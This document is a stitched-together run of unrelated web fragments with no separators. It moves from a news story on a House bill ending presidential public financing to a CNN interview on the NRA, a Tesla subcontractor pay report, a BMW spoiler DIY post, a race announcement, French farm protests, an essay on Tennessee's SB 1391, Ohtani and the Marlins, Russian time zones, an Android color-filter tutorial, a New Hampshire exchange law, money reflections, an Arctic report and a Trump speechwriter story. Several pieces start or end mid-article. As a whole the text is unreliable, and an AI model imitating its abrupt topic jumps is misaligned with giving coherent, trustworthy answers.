The administration's opinions come a day before House Republicans plan to hold a vote on the legislation, which would save about $520 million over the next decade and would require presidential candidates to rely on private donations instead of taxpayer money, according to House Majority Leader Eric Cantor (R-Va.).
The bill is an outgrowth of a Cantor-backed program that invites GOP supporters to vote on proposed government spending cuts that should be considered by the full House. Even if the bill passes the Republican-led House, however, it's unlikely to be considered by the Democratic-controlled Senate.
Presidential candidates qualify for federal matching funds during the primary season if they meet certain private fundraising thresholds and abide by certain restrictions. Once formally nominated, major party presidential candidates may also opt to use public funding if they agree not to take contributions from private donors.
In 2008, Obama opted out of the public funding system and raised about $750 million for his campaign. Sen. John McCain (R-Ariz.) opted to use public financing, creating a significant cash disadvantage for the Republican candidate. Close observers expect Democrats and Republicans to spend more than $1 billion on the 2012 presidential campaign.
The White House statement noted that "candidates began to opt out" of public financing during the 2000 presidential campaign. "Since that time, promising proposals for the strengthening of the system have been made," the statement said.
In a surprisingly blunt assessment -- when compared to the normally staid format of OMB statements on legislation -- the White House said the Republican bill "would kill the system, not strengthen it," and added:
"After a year in which the Citizens United decision rolled back a century of law to allow corporate interests to spend vast sums in the Nation's elections and to do so without disclosing the true interests behind them, this is not the time to further empower the special interests or to obstruct the work of reform," the statement said.
In an editorial published Tuesday, The Washington Post editorial board agreed with the White House, writing that "the need for rehabbing the presidential funding system is even greater than during the 2008 campaign. Fix the system - don't junk it." (The views expressed on the editorial pages of The Post are the views of the editorial board and do not necessarily reflect the views of Post reporters.)
CAROL COSTELLO, host: Cliff Schecter of the Daily Beast is gonna join us, and he blames the NRA for the recent spate of violence we have seen in our schools and schools across the country and also the awful incident that went down in Las Vegas. He says, quote, “we are reaping what they, the NRA, have sowed. Their rhetoric, their firearms policies, their followers. If we want to change things, it starts with not sugar-coating or ignoring the treasonous and murderous role played by the leaders of the NRA, but by acknowledging it and taking them on every day.” So Cliff Schecter is here. Hi, Cliff.
CLIFF SCHECTER, the Daily Beast: Hi, can you hear me now?
COSTELLO: I can hear you now. We are all set to go. Um, I don’t know, calling the NRA murderous and treasonous. That's really strong.
SCHECTER: It is, Carol. But I feel like, you know, we have watched this same play over and over again. While I was writing the piece that I wrote on this murder of these two police officers in Las Vegas, we had this next shooting in Oregon and you almost can't sit down to write something without the next one happening.
And the NRA has spent 30 years pumping paranoia into sort of the most unstable members of society and feeding them with conspiracy theories telling them that black helicopters are coming to get them, that President Obama is coming to get them, that the government is killing them, that the ATF–who are only trying to do their jobs– are jack-booted thugs. So they feed this rhetoric and then they fight every attempt at reasonable gun regulation. 90% of the country supports background checks and they blocked it. 70% supports an assault weapons ban. They blocked it. So they basically have done what they can to light the fire to incite riot among people that are less than stable, who have a far right wing agenda and they have made sure these people have access to weaponry of war that as recently as 30 years ago, people couldn't get those kind of weapons. Now, they are everywhere.
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COSTELLO: I will say, the Las Vegas shooting, let's go back to that for a second. Because there was a customer in Wal-Mart. His name was Joseph Wilcox. He was carrying a concealed weapon legally. And police called him a hero–I mean he died in this. He tried to stop it. Police called him a hero. So, in that instance, I think the NRA would argue that, you know, carrying a gun can actually save lives.
SCHECTER: Well, they would but, you know, I think the evidence here. I feel terrible for what happened to him. But look at the evidence. We had two what the NRA calls good guys with guns. Policemen, somebody walked up to them and shot them point blank range and killed them. Now, we have this gentlemen in Wal-Mart, another good guy with a gun we would say, who was shot and killed, even though these two terrible people had only asked everybody to leave the store.
What if he had missed and hit other innocent people there? What if they had fired back? It is the job of the authorities to show up and handle that situation. We are not living in a cowboy movie. And again, I don't want to be disrespectful. I think he did what he thought was right. But we have encouraged people to open carry guns to restaurants, to conceal carry guns. We are telling them they are the law, they’re jury, the judge and the executioner and more people end up getting killed. I mean, the University of Pennsylvania School of Epidemiology produced a study that has said that if you have a gun in your house, you are 4.5 times more to die from that gun than you are to stop an intruder. So there’s consensus on this– go ahead.
COSTELLO: There is consensus on this. But to blame everything on the NRA strikes me as kind of unfair because you have to place the blame on the lawmakers as well, don’t you? Because they are not exactly, you know, running to the front of the line getting something done.
SCHECTER: No, you are entirely right. I do blame lawmakers. I probably reserve my strongest language–but in many of these pieces I have written, I have called the entire Republican caucus cowards. There are a number of Democrats tooso don’t think I’m just–
COSTELLO: What about the Democrats?
One employee of the subcontractor in particular, a 42-year-old man named Gregor Lesnik who left his pregnant girlfriend in Slovenia in search of work, was said to be "seriously injured" on the job.
Hours after the Mercury News report was published on Sunday, Musk promised on Twitter to "investigate" the claims and "make it right."
[UPDATE: On Wednesday, Musk contested the original report, sharing documents on Twitter that claim the worker in question was paid $55 per hour, not $5.
"We still need to make sure that the injured person is taken care of," Musk wrote, "but less & less of the Merc story appears to be true."]
Tesla condemned the low pay in a blog post on Monday and pledged to help the injured contractor, while simultaneously asserting it had acted legally in its dealings with the subcontracting firm.
"This is not a legal issue, it is a moral issue," Tesla explained in its statement. "Morally, we need to give Mr. Lesnik the benefit of the doubt and we need to take care of him. We will make sure this happens."
The company added: "If Mr. Lesnik or his colleagues were really being paid $5 an hour, that is totally unacceptable."
@margotroosevelt Only heard about this today. Sounds like the wrong thing happened on many levels. Will investigate and make it right. — Elon Musk (@elonmusk) May 16, 2016
The report and Tesla's quick response to it highlight what can be a stark disconnect between the lofty ideals of prominent tech companies and the grittier labor dynamics that help fuel their fast growth.
Apple has been criticized for its reliance on workers in Chinese manufacturing centers who were said to be underpaid, overworked and dealing with unsafe conditions.
On-demand startups like Uber and Handy must balance their fast-rising valuations and lucrative stock options with the optics of profiting off of thousands of workers who are considered contractors rather than employees and sometimes struggle to do enough gigs to get by.
WeWork, a fast-growing rental office space startup, publicly clashed with comparatively low paid cleaners who were hired to clean those offices through a contractor. The cleaners were terminated by the contractor for trying to unionize, not WeWork, but as one report put it, the multi-billion-dollar startup struggled to represent itself as the "good guy" in the face of that labor dispute.
Tesla, a car company expanding its production goals so rapidly that its CEO claims to sleep in the factory on occasion, relied on a subcontractor named ISM Vuzem that was actually brought on by another firm it used to help construct what it describes as a "high-volume paint shop."
In short, Tesla was multiple steps removed from the underpaid workers in question, which may insulate it from legal blame, but nonetheless raises concerns about the level of oversight when moving fast and tackling new areas (like paint shops) that it does not understand.
"We are taking action to address this individual's situation," Tesla wrote, "and to put in place additional oversight to ensure that our workplace rules are followed even by sub-subcontractors to prevent such a thing from happening again."
Getting the spoiler and preparing
I am a big fan of real carbon fiber. I hate all that fake carbon fiber coated crap you can find on the web, so I knew I would opt for the OEM carbon fiber spoiler from BMW M Performance. I ordered mine from ECS Tuning.
Once the spoiler arrived I took time to soak in the quality of the item. Gloss carbon fiber on the exposed bits and raw carbon fiber on the interior of the spoiler.
I began compiling all the tools I would need to remove the OEM spoiler and install the carbon fiber spoiler.
You need the following:
3M Adhesive Cleaner
Rubbing Alcohol
Fishing line
Heat gun (or girlfriends hairdryer)
3M automotive tape (or BMW Betalink liquid adhesive if you go that route)
Those the bare minimum tools required, but I highly recommend spending a few more bucks to get a 3M Adhesive Removal Wheel.
The work begins
Removal is simple, but time consuming. Pick an end and begin blasting it with heat. After a few minutes, put some fishing line between the spoiler and the trunk and work it back and forth. The goal being to cut into the tape and pry the spoiler away.
Rinse and repeat, eventually your hard work will produce results.
Eventually, the tape will give and you will be able to remove the spoiler leaving a layer of tape remaining on the trunk. This is where time can be saved with a 3M Adhesive Removal Wheel. I honestly have no idea how long or how efficient I would have been just using adhesive cleaner and elbow grease.
This is how easy it is to remove tape with the 3M Adhesive Removal Wheel:
Once all the tape was peeled off I hit the trunk area with some of that 3M Adhesive Cleaner then made sure the trunk was 100% clean with the rubbing alcohol.
Installing the spoiler
First step, is test fitting the spoiler on the clean trunk and taping off the ends to get a template on where the spoiler should sit. You need to do this ahead of time because if you have tape already on the spoiler you cannot test fit it.
I mentioned there is BMW Betalink liquid adhesive, but that is a permanent option. I may want to sell this spoiler in the future or who knows upgrade to a wing, so I went the 3M automotive tape route.
I cut and applied a gratuitous amount of tape to the bottom of the spoiler then lined it up with my taped off template points and committed.
I pressed down hard multiple times then eventually put my wife’s old college text books back to work to put weight on the spoiler overnight.
The next day I put some quick grips on the ends with styrofoam in between to not damage the carbon fiber to ensure the tape bonded 100%.
In the end I think it turned out great.
Let me know what you think or even if you have suggestions for the future. I would love to hear them.
The Bank of America Shamrock Shuffle 8K announced today that 2015 champions Stephen Sambu (Tucson, Ariz.) and Alexi Pappas (Eugene, Ore.) will return to the streets of Chicago to kick off the spring running season and race for repeat victories. Joining Sambu and Pappas will be some of the nation’s most talented club runners, who will be competing for prize money in the eighth annual Deloitte Elite Club 8K Competition.
“”We;’re excited to welcome Stephen and Alexi back to Chicago,”” said Executive Race Director Carey Pinkowski. ““With the Shamrock Shuffle, we strive to create a race that welcomes both Olympic-caliber athletes and first-time runners. The result is one of the best running celebrations in the city!””
Sambu and Pappas made their Shamrock Shuffle racing debuts last year with commanding performances, finishing in 23:03 and 26:32 respectively. Sambu’s time was the fastest time run on the course in more than a decade, and he returns as one of the hottest athletes currently on the road racing circuit.
Pappas, a creative force to be reckoned with off the road as a writer and movie producer, continued to climb the ranks of elite running in 2015 by setting personal bests in every distance from the mile to 10 miles. She kicked off her 2016 racing season with a win indoors in the 3,000m at the Track Town USA High Performance Meet.
On Sunday, April 3 Sambu and Pappas will race against local and national elite runners competing in the 2016 Deloitte Elite Club 8K Competition. The eighth annual team competition welcomes men’s and women’s USATF-member racing teams from across the country, vying for a $20,000 prize purse.
Last year, the competition attracted more than 200 athletes and 55 elite running teams from across the country. For the fourth year in a row, runners from the Michigan-based Hansons-Brooks Distance Project won both the men’s and women’s elite individual titles.
“”Deloitte is proud to sponsor this great tradition of racing in Chicago,”” said Chairman and Chief Executive Officer of Deloitte Tax LLP Carl Allegretti. “”The Elite Club 8K Competition shares in our commitment to supporting well-being, both personally and professionally.””
The 2016 race marks the first year of Deloitte’s title sponsorship of the elite and open team competitions.
French farmers block trucks that transport food goods coming from foreign countries at the French German border in Strasbourg, France, during a protest against a squeeze in margins by retailers and food processors July 27, 2015. REUTERS/Vincent Kessler
Separately, the German dairy federation said it complained to the EU about French government moves to head off the dispute with new financial support to the sector and an “eat French” campaign. Spanish farmers’ union UPA also warned it could retaliate with a boycott of French food products.
President Francois Hollande’s government last week announced plans to raise the price of beef, pork and milk and promised farmers up to 1.1 billion euros (£779 million) in tax rebates, delayed payments and loan guarantees..
French agriculture and economic ministers said banks had agreed on Tuesday to extend or delay struggling farmers’ loan payments as part of the government package which includes a guarantee of up to 500 million euros worth of loans for farmers through its public investment bank.
Paris also said last week it would also push for a raise in the price at which surplus milk in Europe is purchased when European Union farm ministers meet in September.
The moves have yet to quell the anger of French farmers, who this week erected blockades on the border with Germany and did spot checks on non-French goods entering France.
“We have asked them (France) to keep us updated as regards to any possible impediment to the free movement of goods,” European Commission spokesman Daniel Rosario told a regular news briefing in Brussels.
Farmers continued protests on Tuesday, blocking roads in northeastern France, near the German and Luxembourg borders.
French Farm Minister Stephane Le Foll told reporters in Paris any attempts to block goods transportation throughout Europe “do not reflect the French government position”.
“Freedom of circulation is needed for imports but above all because France exports too,” he said.
French farmers complain that a fall in prices due to foreign competition and a squeeze in margins by food processors and retailers has put many livestock farmers close to bankruptcy.
Europe’s milk market was liberalised in April this year with the removal of 30-year-old quotas, creating growth opportunities for some farmers while threatening the livelihood of others.
Hollande has given personal backing to the creation of a new label intended to encourage French consumers to buy local products and said he would ensure it was applied in public sector canteens - a move Paris says is compatible with EU rules.
However German milk industry federation MIV said it had sent a letter to the European Commission on Monday protesting that the French support contravened those rules.
“If decisions are taken under the auspices of a French minister which are effectively a trade boycott of German goods, that calls into question the basic principles of Europe,” MIV executive Eckhard Heuser said in the statement.
In Spain, farmers warned they would push for a boycott of French food and farm products.
Targeting women’s bodies
SB 1391 is the latest chapter in a long history of social and political crusaders targeting pregnant women’s bodies and behavior. In the early 20th century, advocates for routine prenatal care argued for the importance of such medical care on the grounds that, in the words of influential obstetrician John William Ballantyne, it could “improve the race and lessen the number of defectives and derelicts.” While the immediate goal of prenatal medical care was to reduce mortality rates in childbirth, the public rhetoric advocating for such care often emphasized eugenic goals of race betterment and weeding out abnormality. This legacy of using prenatal care to eradicate defects is still evident in its emphasis on testing for conditions such as Down syndrome. In the 1980s, the decade of fetal rights, women began to be prosecuted for reasons deemed abuse of unborn children, ranging from drug addiction to failure to follow a doctor’s orders. Tennessee’s law is a continuation of the flawed logic that social problems can be solved by using prenatal care as a means of controlling the bodies and behavior of pregnant women. In addition, the law puts medical personnel in the position of law enforcement, responsible for reporting possible cases of abnormalities after birth (and potentially in utero) that suggest unwanted behavior by the mother. Opposition to the law has come from across the political spectrum, including reproductive and women’s rights groups and some anti-abortion activists. Opponents say it would disproportionately affect minority and low-income women, encouraging addicted mothers to seek abortions rather than face incarceration. Those in low-income neighborhoods and rural areas already face limited access to drug treatment programs. Moreover, it is unclear whether women whose addiction is treated with substances such as methadone will be subject to prosecution.
The Shohei Ohtani sweepstakes is down to 29 teams. It appears the Miami Marlins have taken themselves out of the race for the Japanese superstar due to financial concerns, according to Tim Healey of the Sun Sentinel.
The news comes as a huge surprise, as the Marlins had a fair amount of international free-agent money to spend on the 23-year-old. Miami was one of the seven teams that had over $1 million in their international free-agent budget to spend on Ohtani.
That’s actually a significant amount, in this case. The new collective-bargaining agreement restricts excessive spending on international free agents. Each team is given a budget. If they exceed that limit, they are subject to steep fines by the league.
At $3.5 million, the Texas Rangers have the biggest budget for Ohtani this offseason. The Marlins ranked fifth with $1.7 million left in their budget at the beginning of November. The team did trade some of that money to the New York Yankees, but still had a fair amount of money left to spend.
That’s not the figure the team is concerned about, though. The Marlins are reportedly not willing to pay Ohtani’s $20 million posting fee. The club that wins his services will have to pay $20 million to the Nippon Ham-Fighters, Ohtani’s Japanese league team, for the right to negotiate with him.
That fee is not considered a major obstacle for most clubs. Once Ohtani reaches the majors, he would make the minimum salary, just like any other rookie. Considering how much that will depress his salary, Ohtani is currently viewed as a massive bargain.
Had Ohtani been a free-agent, some believe he would have received $200 million. The Marlins are passing on a $200 million player because they don’t want to spend $20 million.
The decision to pass on a player some are calling the Japanese Babe Ruth, due to his ability to thrive as a two-way player, is in line with the team’s puzzling offseason. The new Marlins ownership group, led by Derek Jeter, has not gotten off to an encouraging start.
Since taking over, Jeter has fired franchise icons, oversaw the departure of one of the club’s beloved broadcaster and even fired a long-time scout while he was in the hospital recovering from surgery.
The move further calls the new ownership group’s finances into question. Just a few months after taking over the team, the ownership group was reportedly looking for more investors. Jon Heyman of FanRag Sports acquired documents showing the club’s pitch to potential investors. It’s believed the Marlins are looking to raise $250 million.
The team has also made it clear it’s looking to cut payroll this winter. Slugger Giancarlo Stanton is on the trade block, and the team hasn’t exactly given him reasons to want to stick around. Even if Stanton returns, the team intends to sell off spare parts in an effort to rebuild.
You would think picking up a 23-year-old potential superstar who would make the league-minimum and be under team-control for six seasons would fit in with that plan. The Marlins apparently don’t see it that way.
More MLB coverage from Yahoo Sports:
Andrei Ostalski of BBC Russian says that the large number of time zones is one of the factors Russians point to as an example of their country's greatness. But not everybody thinks that way, he adds. "A lot of thinking people have been saying for a very long time that it is actually a problem. It could explain why Russia has so many problems with governance," he says. "It raises lots of questions about whether you can keep a country as big as this together. Should it be, for instance, a federation?" President Medvedev made mention in his speech of the difficulties in having so many time zones. "Have we ever thought about to what extent such a fractional division allows for an effective governance of our country. Does it not result in the use of too costly technologies?" He pointed out that the US and China - other very large countries - "show that it is possible to cope with a smaller time difference". The president did not mention how many time zones might be cut, but Vladivostock Economics University rector Gennady Lazarev told the RIA Novosti news agency that it could be reduced to just four - one each for Kaliningrad, Moscow, the Ural Mountains region and Siberia and the Far East. Real problems Stephen Dalziel, executive director of the Russo-British Chamber of Commerce (RBCC) and a former BBC correspondent, saw first hand the difficulties while on a recent work trip to south-east Russia. The city of Blagoveshchensk lies on the border with China, some 8,000km (5,000 miles) and six time zones east of Moscow. Mr Medvedev wants expert views on the proposals Between Moscow's working day starting and Blagoveshchensk's working day ending there is a window of some three hours or so to get business done. "It does cause businesses there a real problem. It gives them a very short working day in which to contact Moscow. It causes even more problems when they want to do business with Europe," he said. "I think businesses in Blagoveshchensk would say that even a four hour time difference with Moscow would make things much easier for them." Not surprisingly, the number one trading partner for many businesses in Blagoveshchensk is China, which lies just across the Amur river. But in all other respects, the city is typically Russian, Mr Dalziel says. Of the business people he met, he said: "They realise that doing business in China makes geographical sense, but they don't want to be cut off from Moscow, or Europe for that matter." So how do you go about changing a country's time zones? Jonathan Betts of the Royal Observatory in Greenwich says it is not actually very difficult. "It would be done very much in the same way that daylight saving is adopted," he explained. "The most important thing is to make sure that everyone knows about it. If that is done, there shouldn't be any problems whatsoever." It is not just citizens and institutions within the country that need to know. Other countries also need to be informed, so that international flight times and global telecommunication systems for instance can be changed. "The only thing that can't be changed is the fact that the sun will not be in the same position that it used to be at a given time," Mr Betts said. I think it needs to be thoroughly researched and tested. It must be demonstrated that there are practical and economic benefits to reducing the number of time zones
Andrei Ostalski, BBC Russian He points out that while there are sometimes economic and cultural advantages to changing time zones, a political motive often lies behind the move. This has long been associated with the Chinese Communist Party's decision to have one time zone - Beijing time - in a country that is so vast it spans five time zones. The decision to move time in Venezuela back half an hour in 2007 was criticised as an unnecessary attempt by President Hugo Chavez to exert his power - although he insisted an earlier dawn would increase the country's productivity. "It is an ultimate statement of power to show your people that you have control over nature in this way," Mr Betts says. There is no suggestion that Mr Medvedev is attempting to exert his power with this proposal. In fact, Andrei Ostalski suggests the president may have intended it to be a populist touch to an otherwise fairly dry state of the nation address. He thinks the proposals will be taken seriously in Moscow, but hopes that no changes will be made without careful consideration of their effects. "I think it needs to be thoroughly researched and tested. It must be demonstrated that there are practical and economic benefits to reducing the number of time zones," Mr Ostalski said. Mr Medvedev himself seems to want the same thing. "I hope that experts will give us an objective, I stress an objective, answer to these questions," he said in his speech.
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Pixel Blacksmith is an Android game where players craft and sell items to visitors, in order to make a profit to buy upgrades / more resources. These items can be enchanted with gems, and the item’s image needs to be tinted the gem’s colour to reflect this.
The Solution
To modify the item’s colour (whilst only affecting the transparent pixels), we’ll be using the MULTIPLY color filter option. It can be hard to predict the outcome a specific colour code will have when applied to the drawables, so it’s recommended to try out 5-6 and choose one which has the desired effect.
Defining Colours
First, the hex codes of the desired colours were found via trial and error, and saved in the colors.xml file.
<color name="redOverlay">#ff7777</color> <color name="blueOverlay">#9cb4fc</color> <color name="greenOverlay">#8abc84</color> <color name="whiteOverlay">#e2e2e2</color> <color name="blackOverlay">#3d3d3d</color> <color name="purpleOverlay">#b041ba</color> <color name="yellowOverlay">#e2df0b</color>
Applying Colours
For (albeit extremely minor, possibly non-existent) performance reasons, a switch statement is used instead of a large if / else. The item’s state (i.e. the colour it needs tinting) is checked against the list of states, and the correct colour is applied. The MULTIPLY porterduff mode is used. The technicalities of this aren’t necessary to know, but a reference image is very useful (source: Softwyer). Essentially, multiple merges the two resources, in this case the item image and the colour overlay, but only the pixels where the first resource isn’t fully transparent.
imageResource is the item drawable to be modified. If no coloured state is identified, any existing colour filters are cleared, in case they’ve somehow got attached erroneously earlier on.
switch (itemState) { case Constants.STATE_RED: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.redOverlay), PorterDuff.Mode.MULTIPLY); break; case Constants.STATE_BLUE: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.blueOverlay), PorterDuff.Mode.MULTIPLY); break; case Constants.STATE_GREEN: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.greenOverlay), PorterDuff.Mode.MULTIPLY); break; case Constants.STATE_WHITE: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.whiteOverlay), PorterDuff.Mode.MULTIPLY); break; case Constants.STATE_BLACK: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.blackOverlay), PorterDuff.Mode.MULTIPLY); break; case Constants.STATE_PURPLE: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.purpleOverlay), PorterDuff.Mode.MULTIPLY); break; case Constants.STATE_YELLOW: imageResource.setColorFilter(ContextCompat.getColor(context, R.color.yellowOverlay), PorterDuff.Mode.MULTIPLY); break; default: imageResource.clearColorFilter(); break; }
Note that ContextCompat.getColor(context, id) is used to get the resolved colour instead of the very common, but deprecated, context.getResources().getColor(id) . The latter method is extremely widespread, so unlikely to ever actually be removed, but it’s still always worth avoiding deprecated methods, to cut down on future maintenance.
The Conclusion
Whilst providing a visual representation of the item’s state is a minor UI change, it helps reinforce the differences between items, and make the game’s items seem more varied. Identifying the colour filter mode and colour codes to use are rather dull exercises in trial and error, but the final effect is very effective.
On Monday, Gov. John Lynch signed legislation into law that blocks the creation of a state run insurance exchange in New Hampshire. The exchanges serve as a foundational mechanism in the infrastructure of ObamaCare.
HB1297 declares, “No New Hampshire state agency, department, or political subdivision shall plan, create, participate in or enable a state-based exchange for health insurance under the Act, or contract with any private entity to do so.”
The new law does allow for state “interaction” with the feds if they come in and create an exchange on their own, a virtual certainty now that the state will not do it for them.
You can’t exactly put this in the same category as the last stand of the 300 Spartans, but it does represent a small step in the right direction. More states refusing to cooperate with implementation of the PPACA means more frustrations for the federal bureaucracies trying to put the plan into place. As we’ve seen with the Real ID Act, state non-cooperation can effectively nullify a federal act if enough states refuse to comply.
The fact that Lynch is a Democrat makes the move that much more interesting. The New Hampshire governor expressed support for the exchanges in the past, but it seems fiscal realities tempered his enthusiasm. Lynch actually inked his name on the bill instead of simply letting it become law without his signature, indicating he hopes to take some credit for a move many pundits think will prove politically popular.
The law will not keep the feds from setting up the insurance exchanges, and in the long run, it does nothing to stop the unconstitutional overreach that is federal health care. But Lynch’s signature reveals cracks in ObamaCare’s foundation, and fiscal realities may well do what ideological pleas cannot – force states to stand up against this massive federal overreach.
In fact, budgetary considerations drove support for HB1297. The Josiah Bartlett Center for Public Policy led the charge to pass the law, arguing that if the feds wanted an insurance exchange in New Hampshire, they could pay for it themselves.
OK. Best financial move I ever made. In 2008, when I was a journalist covering this world, I was like a man possessed about the stock market. I was telling everyone I knew, “This thing is going to come down; this thing is going to come down; this thing is going to come down.” And in fact, I actually pulled my money out of the stock market at a certain point before the huge crash. And then I put it back in at some point after the bottom. I didn’t time it perfectly, but I timed it well enough to preserve a lot of money that would have been lost. So then I fancied myself smart, and I was like, I know how to do this. And so I bought a couple of stocks. I remember thinking, It’s a no brainer: Visa’s gonna go through the roof. Everybody’s gonna be buying stuff online, and of course they’re going to use Visa. And then Visa tanked. And it was just very clear that I had gotten lucky, and I have no idea what I’m doing.
But I just took out that money in 2008, and I put it all into government bonds. (Side story: I put it in government bonds because at the time I wanted it to be in something real, and I thought these bonds were essentially dollars. And then when I started Planet Money for NPR in the States, I learned about what money actually is, and I learned that money is not real, either. Anyway.) I mean, it’s not like it made me a fortune or anything. All it did was preserve, like, a month of nursing home bills when I retire. Well, maybe it’s a couple of days of nursing home bills given the way health-care costs are rising.
If you think you’re smarter than the market. You’re wrong.
But that’s actually the opposite of the lesson I learned about what to do with your money when I was a journalist. The single best piece of investment advice I’ve ever gotten is really simple: Nobody knows anything. If you think you’re smarter than the market? You’re wrong. Or maybe you’re right once, but then you’re going to be wrong later. See my Visa example. And that, to me, was sort of shocking. There’s a massive, massive, massive amount of infrastructure—multibillion-dollar businesses—built around telling people what to do with their money. And yet: Nobody knows. And everybody knows that nobody knows, but still people look for people to give them advice.
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We know that the future is inherently unknowable, and that tells us that the more we try to predict it, the more we will fail. And it’s so scary. You’re always looking for help dealing with that anxiety. If you are, say, Warren Buffett and you can move markets on your own and you can get access to information earlier than other people, then you can probably put your finger on the scale a little bit. But most of us aren’t Warren Buffett. For the vast, vast majority of people probably the best thing to do with your money is stick it in an index fund, check the balance once a year, and never think about it otherwise. And since it’s almost impossible for most of us to know anything, my advice is pay as little as you can to people to manage your money!
But that’s the biggest thing: People know lots and lots and lots of stuff, but nobody knows the key thing, which is what’s going to happen in the future.
Sometimes I worry that being a business owner has affected my ability to see money stuff clearly. I think it’s common. When I was a journalist, there was always some part of me that was a little dismissive of people who seemed to refuse to see the truth. Like, How can you have been so blind? I remember thinking that during the last stock market crash. I thought, How does everyone not see this coming?!
And now that I’m running Gimlet Media, it’s different. If there’s a financial crisis, for a journalist that’s a great story—not that I wanted it to happen, but I saw it as a journalistic opportunity. But as a business owner, if the economy is tanking, that’s really bad news for me. I need the economy to not tank. I need advertisers to not pull back on their budgets dramatically. I need people to be willing to pay for premium content on a podcast network. So when the stock market crashed last summer, my attitude—unlike in 2008—was: Oh yeah, the Dow’s down. Yeah, it’s a correction. Whatever. And it made me wonder whether that was just wishful thinking.
I remember when my concept of money changed. I was raising funds for Gimlet, and I can’t remember whom it was, but I was talking to somebody who was associated with some big-time billionaire investor. And he said, “How much are you looking to raise?” And I said, “I don’t know, a million, million and a half.” And he was like, “Oh, so a small amount. Yeah, that shouldn’t be a problem.” That was the first time someone referred to a million and a half dollars as a “small amount,” and “no problem.” I was shocked. Because obviously that would be shocking to just about everybody, unless you yourself were a billionaire. I’m continually amazed at the craziness of the world of investing.
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But I also began to understand what’s good about billionaires thinking a million dollars is no problem. The fact that there are people not only willing to give you that money, but who, given a certain set of dynamics, would line up begging to invest that money in your idea that at this point is purely an idea…that is insane and wonderful. Now, they’re not doing it for charity. They need you. But this is what’s sort of exciting about it: You can look at a guy who has a billion dollars and think the way most of us think: Warren Buffett has the billion, and nobody else has the billion. But of course that’s not the way it works. Warren Buffett puts it somewhere—you know, he puts it in a bank, and then the bank has a billion, but they don’t just sit on it; they lend it out to somebody so they can get a mortgage or something like that. Or Warren Buffett doesn’t want it to sit in a bank because he has a family trust and needs to earn a bigger return, so he puts it into something riskier. Maybe he puts it into a hedge fund. But there is a system in place so that billionaire money can be funneled to me when I have an idea for a company.
And in a weird, weird way, the more billionaires there are with billions of dollars that they don’t know what to do with, the better it is for people like me with business ideas. We need each other. They need to do something with their money, and they want the possibility of hitting a couple of home runs with businesses because there are so many failures. And I get to be the bet that they take.
The Arctic’s summer sea-ice cover has hit new record lows several times in the past decade. (NASA Goddard Space Flight Center via Flickr)
LONDON — If the world fails to slow the pace of climate change very soon by cutting emissions of the greenhouse gases that are heating the planet, Arctic tipping points threaten to overwhelm the region, new research reveals.
Not only that — the authors of the Arctic Resilience Report say the changes that are liable to affect the high northern latitudes could also trigger drastic changes worldwide.
The report, written by an international research team, is a project of the Arctic Council. It says the signs of change in the Arctic itself are everywhere. Temperatures nearly 20°C above the seasonal average are being felt over the Arctic Ocean. Summer sea-ice cover has hit new record lows several times in the past decade. Infrastructure built on permafrost, including houses, roads and railways, is sinking as the ground beneath thaws.
But the authors say that underlying these distinct impacts is a much larger trend. At the scale of entire ecosystems, the Arctic is fundamentally threatened by climate change and other consequences of human activities.
Accelerating change
Change — often rapid — is the norm in the Arctic, they write. But environmental, ecological and social changes are happening faster than ever, and accelerating. They are also more extreme, well beyond what has been seen before. And while some changes are gradual, others, such as the collapse of ice sheets, can be not only abrupt but also irreversible.
The report identifies 19 Arctic tipping points (which it calls regime shifts) that can and have occurred in the region’s ecosystems. These shifts affect the stability of the climate and landscape, plant and animal species’ ability to survive, and indigenous people’s subsistence and ways of life.
The tipping points include: vegetation growth on tundra, replacing snow and ice and helping to absorb more of the sun’s heat; higher methane releases; the disruption of the Asian monsoon by changing Arctic snow distribution warming the ocean; and collapses of some Arctic fisheries, with global ocean ecosystem consequences.
One of the study’s most important findings is that not only are regime shifts occurring, but there is a real risk that one regime shift could trigger others, or simultaneous regime shifts could have unexpected effects,” says Johan Kuylenstierna, executive director of the Stockholm Environment Institute.
Johan Rockström, from the Stockholm Resilience Centre, co-chair of the project, says: “If multiple regime shifts reinforce each other, the results could be potentially catastrophic. The variety of effects that we could see means that Arctic people and policies must prepare for surprise. We also expect that some of those changes will destabilise the regional and global climate, with potentially major impacts.”
By altering existing patterns of evaporation, heat transfer and winds, the impacts of Arctic regime shifts are likely to be transmitted to neighbouring regions such as Europe and to affect the entire globe.
Building resilience
The study says many communities that have lost their livelihoods are already struggling to survive or maintain their cultural identity. “Climate change is severely stressing Arctic livelihoods and people,” says Miriam Hultric, a lead author of the report. “Without rapid action to slow climate change by reducing greenhouse gas emissions, the resilience of the Arctic will be overwhelmed.”
But the report cites Arctic communities that have maintained reindeer herding and other traditional practices in the face of external shocks. Others have reinvented themselves: from nomadic hunters to internationally recognised artists in Cape Dorset in Nunavut, Canada, for instance.
The fishing community of Húsavík on Iceland’s Skjálfandi Bay turned itself into a tourist destination for whale-watching after cod-fishing quotas and a moratorium on whaling condemned its traditional livelihoods.
The report warns that building resilience is complex, partly due to conflicting interests. Some see the Arctic as a home, others as a source of minerals and other resources, and yet others for what it does globally to regulate the climate.
Enjoy.
J.L.M.
As it turned out, Ms. Trump had torn up an early version of her address done by two professional Republican speechwriters. Instead, in a campaign that blurs the lines between family, business and politics, Ms. Trump reached out to one of the most trusted people inside Trump Tower for help.
Image Meredith McIver
Now Ms. McIver, a registered Democrat with no known political experience, is suddenly at the center of one of the biggest political stories in the country.
Mr. Palitz, a lawyer who has remained friends with Ms. McIver for decades, said that knowing her generally meticulous attention to detail, “it sounds like she sort of stepped up and fell on her sword.”
It was not the first time Ms. McIver was faulted for lines she wrote for the Trumps.
In a 2007 deposition, Mr. Trump was grilled over whether he had overstated his debt by billions of dollars in a couple of his co-written books to make his comeback seem more significant.
